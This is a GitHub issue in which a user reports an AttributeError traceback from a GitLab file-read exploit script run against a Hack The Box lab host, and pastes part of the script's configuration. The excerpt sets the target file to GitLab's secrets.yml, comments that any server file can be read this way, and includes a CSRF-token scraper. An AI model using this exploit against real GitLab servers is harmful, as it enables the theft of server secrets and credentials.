Skip to content

Attribute error #1

Description

@cybertuxh4xor

ali@kali:~/Downloads/gitlab-file-read-exploit$ python3 exploitv3.py
you are logedin
Traceback (most recent call last):
File "/home/kali/Downloads/gitlab-file-read-exploit/exploitv3.py", line 102, in
namespace_id=userLogin()
^^^^^^^^^^^
File "/home/kali/Downloads/gitlab-file-read-exploit/exploitv3.py", line 52, in userLogin
namespace_id=(re.search(r'<.project[namespace_id].\s/',namespace_id_response.text).group()).split(""")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'group'

config

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
host = 'http://git.laboratory.htb' #change it
username = 'kali' #change it
password = 'password' #change it
project_name1 = 'Test'
project_name2 = 'Test2'
target_file_path='/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml' #by changing the file path we can read any file in the server
file_name=target_file_path.split("/")
#csrf token finder
def findToken(url):
res = session.get(url)
csrf_token=((re.search(r"content=".{88}"",res.text)).group()).split(""")
#print("CSRF Token For "+url+" = "+csrf_token[1])
return csrf_token[1]

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions